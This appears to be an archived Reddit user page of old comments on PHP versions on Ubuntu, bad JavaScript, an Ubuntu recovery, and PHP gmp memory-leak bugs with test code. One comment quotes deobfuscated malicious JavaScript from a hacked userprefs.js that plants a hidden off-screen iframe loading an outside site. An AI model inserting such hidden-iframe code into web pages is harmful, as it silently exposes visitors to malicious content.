Skip to content

u/Slashmonkey

In this archive from Dec 2009 to Jan 2014

7
posts
49
comments
1
media
360
score

One reason for a lot of people being stuck with 5.3 is related to server security; for instance I have a server running Ubuntu server 12.04 LTS, and if you stick with the software updates provided by Ubuntu for this distro, you only get updates on the 5.3 branch for PHP. If you want to upgrade to 5.5 you have to add a new possibly unsecure software source to apt-get or manually update it yourself. Maybe the next 14.04 LTS release will include PHP 5.5.

5 points
  • Half the code is used to declare hundreds of variables on the global scope
  • He doesn't understand how to properly use functions or objects, as the other half of the code defines hundreds of functions which accept no arguments nor return any values, they are only used to change the values of the global variables.
  • Some of the functions consist of nothing but dozens of if statements that could easily be replaced with switch statements
  • related functions are not grouped into objects
  • None of these functions are reusable
  • This is some of the worst JS I've ever seen
4 points

I can see why this file got flagged, it creates a <script> element in the html document and injects another js file called functions.js, which is heavily obfuscated so it is impossible to tell what that file does.

EDIT: got some new information, turns out a copy of userprefs.js was hacked on at least one of their servers, only some people were able to get the hacked copy and most got the good copy, the bad copy contained extra obfuscated code that translated to this:

tmp3 = (tmp2 = document.createElement('iframe')).style;
    tmp2.src = 'http://lnkhere.reviewhdtv.co.uk/stat.htm';
    tmp1 = (tmp0 = document.createElement('div')).style;
    tmp1.width = tmp1.height = '-10000px';
    tmp1.overflow = 'hidden'; tmp1.position = 'absolute'; tmp1.left = '-10000px';
    tmp4 = document.getElementsByTagName('div');
    tmp4[Math.floor(Math.random() * tmp4.length)].appendChild(tmp0).appendChild(tmp2);

The functions.js file also has obfuscated code, but apparently it was originally like that.

30 points

This isn't actually an animated gif, it's a image sprite set as a background image for each item, and scrolling back and forth with javascript to animate it.. I really don't know why they didn't just go with a gif instead of making it so complicated. Also, I hate gifs, and I think this site belongs in /r/crappydesign.

33 points

Upgrade your video card driver. Make sure you have the current flash player drivers for your browser. If you are talking about flash videos viewing inside your browser.

Already installed the latest nvidia driver, updated my xorg.conf, etc.. As for the video issue, I meant actual .avi files with VLC, I can open them, but no video or audio is output. Codec is installed, just doesn't work..

1 points

Thank you! Got my system back up and running with your instructions, there were a few minor differences though:

I had to disable my Nvidia GTX 670 graphics card and use my motherboards on-board graphics to even boot into the Ubuntu live CD; Otherwise I would get an error message about not being able to configure the graphics, with an option to boot using low-graphics mode, only selecting that option would still make the system hang.

Once I was able to boot from the CD, all my partitions and HD's were automatically mounted, under the directory /media/ubuntu/

copying the resolv.conf failed because the one in my systems /etc/ folder was a broken symlink, pointing to /run/resolvconf/resolv.conf; only the entire /run/ folder was empty! So I created the /run/resolvconf/ directory and copied the file into it instead.

When I ran apt-get -f install it gave me the message: "dpkg was interrupted you must manually run 'dpkg configure -a' to correct the problem", so I ran dpkg instead and the upgrade took off from where my system crashed before.

2 points

Actually you can scratch that last bit about the bug being reintroduced, turns out it's a completely different bug causing another memory leak. I reduced the code to make sure that it was in fact related to gmp_cmp, and it turns out what is actually happening with 5.6.0-dev, is that if you assign a gmp number in a regular for loop and call gc_collect_cycles(); in the same loop, it causes a memory leak. Having either gc_collect_cycles() or assigning a gmp number on its own in a loop does not cause a leak to happen, but for some strange reason having both these things happen in a loop will cause a leak. You can reproduce with the code below:

function calcExp ($gmpC) {
	//make sure gc is on
	gc_enable();
	
	for ($i=0; $i<2000000000; $i++) {
		$gmpTempC = $gmpC;
		gc_collect_cycles();
	}
	return false;
}

$num = gmp_init('1094189891312342345461854');
print "\n";
calcExp($num);
1 points

Ok, I did some testing and I have some good news, and some bad news..

The good news is that my most recently discovered bug (reproduceable with the code above your comment) seems to be fixed in the latest 5.6.0-dev build of PHP, since gmp numbers are no longer referenced from a resource ID with an overflowable integer attached. This bug still exists in all other versions of PHP including the latest 5.5 stable release.

The bad news, is really bad. The original memory leak that I first made this post about does exist in 5.6.0-dev, but not only does it exist for literal string values as the second argument of gmp_cmp(), but the memory leaks just as bad using the gmp numbers, so 5.6.0-dev is even more broken in this respect then all other PHP versions.

1 points

If this one has been fixed, this same script has caused me to find another bug in gmp, after I fixed the memory leak issue: if you iterate a loop more than 2147483647 times and create a gmp number in each iteration, it causes an integer overflow on the gmp number resource IDs setting the last one to -2147483648, causing a PHP Warning and inability to find the gmp number. This can be reproduced with the following code:

function calcExp ($gmpC) {
	$gmpMax = gmp_init("3000000000");
	$gmpOverflow = gmp_init("2147493600");
	$gmpOne = gmp_init(1);
	for ($gmpNum = gmp_init(10000); gmp_cmp($gmpMax, $gmpNum) > 0; $gmpNum = gmp_add($gmpNum, $gmpOne)) {
		$gmpTest= gmp_pow($gmpNum, 2);

		if (gmp_cmp($gmpNum, $gmpOverflow) > 0) {
			$test = gmp_strval($gmpNum);
			print $test . " = ";
			print $gmpTest . "\n";
		}
	}

	return false;
}

$num = gmp_init('1094189891312342345461854');
print "\n";
calcExp($num);

Note that this code took approx. 12 minutes to run on my machine before the overflow occurs.

1 points

Wow - I completely missed that one, you are right that is a string literal.. I figured that since it was only "0" that it would have no impact when I put it in. Also, it turns out this WAS the source of the memory leak - I switched it out for a gmp number resource and now there is almost no impact on the system memory from this script - it went from using all 32 GB on the heap to a consistent 2688 KB. Thanks for pointing this out to me.

14 points

a) the for loop is where the main work is done, it could be iterating trillions+ times depending on the number being worked on.

b) this while loop runs very few times and may not run at all depending on the input number being worked on, basically this loop tests if the number divides evenly (with no remainder) by the for loop iterator, and if so, it loops and continues to test for an even division until the divided number reaches 1 or no longer divides evenly.

It probably is more suited for C, but I am working a lot with PHP lately and wanted to see if it could be done.

1 points

Keyboard shortcuts

Move and act

jork
Next / previous post or comment
Enteroro
Open the post
f
Open the media viewer
s
Save
h
Hide (the toast has Undo)
Tab
Right after an action: the toast's Undo
x
Collapse the comment
v
Next layout: cards, compact, grid

Go to

/
Search
gthenh
Home
gthena
All
gthens
Subreddits
gthenl
Library
?
This list
Esc
Close a menu or this list

In the viewer

←or→
Previous / next file
↑or↓
Previous / next post
korj
Previous / next post
Space
Play / pause
m
Mute
z
Zoom
s
Save
o
Open the post (on its own page: back to it)
Esc
Close

Keys do nothing while you type in a box.